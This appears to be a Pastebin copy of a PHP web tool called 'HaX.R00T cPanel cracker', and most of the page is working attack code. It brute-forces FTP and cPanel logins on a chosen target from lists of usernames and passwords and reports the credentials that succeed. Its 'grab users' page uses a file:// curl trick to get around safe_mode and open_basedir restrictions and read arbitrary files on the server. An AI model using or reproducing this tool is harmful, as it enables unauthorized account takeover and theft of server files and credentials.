Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <meta http-equiv="Content-Language" content="en-us">
- </head>
- <title>HaX.R00T cPanel cracker </title>
- <style>
- body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}
- input,
- .kbrtm,select{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}
- button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
- body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}
- a:active { outline: none; }
- a:focus { -moz-outline-style: none; }
- </style>
- <style type='text/css'>
- <!--
- A:link {text-decoration: none; color:#cccccc }
- A:visited {text-decoration: none; color:#cccccc }
- a:hover {text-decoration: none; color:#000000}
- -->
- </style>
- <?php
- /* This Code was originaly written by HaX.R00T
- HaX.R00T Is not responsible for any damage/usage done with this script
- HaX.R00T
- */
- @ini_set('memory_limit', 1000000000000);
- $connect_timeout=5;
- @set_time_limit(0);
- $submit = $_REQUEST['submit'];
- $users = $_REQUEST['users'];
- $pass = $_REQUEST['passwords'];
- $target = $_REQUEST['target'];
- $option = $_REQUEST['option'];
- $page = $_GET['page'];
- if($target == ''){
- $target = 'localhost';
- }
- ?>
- <?php
- print "<br><br><br><center><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='70%' bgColor=#303030 borderColorLight=#666666 border=1><tr><td width='70%'>
- <br><b><center><a href='?page=bio'> HaX.R00T </a> - <a href='?page=crack'> BRUTE </a> - <a href='?page=users'> GRAB USERS </a><br><br></center></td></tr></table>";
- if ( $page == 'bio' ){
- print
- "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%'bgColor=#303030 borderColorLight=#666666 border=1><tr><td>
- <br><b>Access Granted<br>
- user : HaX.R00T<br>
- 220 +ok<br>
- pass ********<br>
- 220 +ok login successful<br>
- [ HaX.R00T ]# info<b><br><font face=tahoma><br>
- <font color='red' >HaX.R00T cPanel cracker </font><b><br><br>
- Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir bypasser ... more stuff will be included in the next version<br>
- Our website , <a href='http://ethicalhacking15.com'> Ethical Hacking 15</a><br>
- </center><br></td></tr></table>";
- }elseif( $page == 'crack'){
- // Pakistani HaXoR
- @ini_set('memory_limit', 1000000000000);
- $connect_timeout=5;
- @set_time_limit(0);
- $submit = $_REQUEST['submit'];
- $users = $_REQUEST['users'];
- $pass = $_REQUEST['passwords'];
- $target = $_REQUEST['target'];
- $option = $_REQUEST['option'];
- if($target == ''){
- $target = 'localhost';
- }
- print " <div align='center'>
- <form method='post' style='border: 1px solid #000000'><br><br>
- <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#666666 border=1><tr><td>
- <b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:Verdana; font-weight:bold;'></p></font></b></p>
- <div align='center'><br>
- <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#666666 border=1>
- <tr>
- <td align='center'>
- <b>Username</b></td>
- <td>
- <p align='center'>
- <b>Password</b></td>
- </tr>
- </table>
- <p align='center'>
- <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$users</textarea>
- <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$pass</textarea><br>
- <br>
- <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
- <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='brute' name='submit' ></p>
- </td></tr></table></td></tr></form><p align= 'left'>";
- ?>
- <?php
- function ftp_check($host,$user,$pass,$timeout){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "ftp://$host");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
- curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
- curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
- curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_FAILONERROR, 1);
- $data = curl_exec($ch);
- if ( curl_errno($ch) == 28 ) {
- print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
- exit;}
- elseif ( curl_errno($ch) == 0 ){
- print
- "<b>[ HaX.R00T ]# </b>
- <b> Attacking has been done , found username , <font color='#FF0000'> $user </font> and password ,
- <font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);}
- function cpanel_check($host,$user,$pass,$timeout){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
- curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
- curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_FAILONERROR, 1);
- $data = curl_exec($ch);
- if ( curl_errno($ch) == 28 ) {
- print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
- exit;}
- elseif ( curl_errno($ch) == 0 ){
- print
- "<b>[ HaX.R00T ]# </b>
- <b>Attacking has been done , found username , <font color='#FF0000'> $user </font> and password ,
- <font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);}
- if(isset($submit) && !empty($submit)){
- $userlist = explode ("\n" , $users );
- $passlist = explode ("\n" , $pass );
- print "<b>[ HaX.R00T ]# Attacking ...</font></b><br>";
- foreach ($userlist as $user) {
- $_user = trim($user);
- foreach ($passlist as $password ) {
- $_pass = trim($password);
- if($option == "ftp"){
- ftp_check($target,$_user,$_pass,$connect_timeout);
- }
- if ($option == "cpanel")
- {
- cpanel_check($target,$_user,$_pass,$connect_timeout);
- }
- }
- }
- }
- }elseif ( $page == 'users'){
- echo "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%'bgColor=#303030 borderColorLight=#666666 border=1><tr><td>";
- echo '<p><form name="form" action="" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hardstylez" value="grab !"></form>';
- $file = $_POST['file'];
- $level=0;
- if(!file_exists("file:"))
- @mkdir("file:");
- @chdir("file:");
- $level++;
- $hardstyle = @explode("/", $file); // A R I A
- for($a=0;$a<count($hardstyle);$a++){
- if(!empty($hardstyle[$a])){
- if(!file_exists($hardstyle[$a]))
- @mkdir($hardstyle[$a]);
- @chdir($hardstyle[$a]);
- $level++;
- }
- }
- while($level--) chdir("..");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);
- echo "<textarea rows='30' cols='120' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0' >";
- if(FALSE==curl_exec($ch))
- die('Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');
- echo ' </textarea> </FONT>';
- curl_close($ch);
- print '</table>';
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement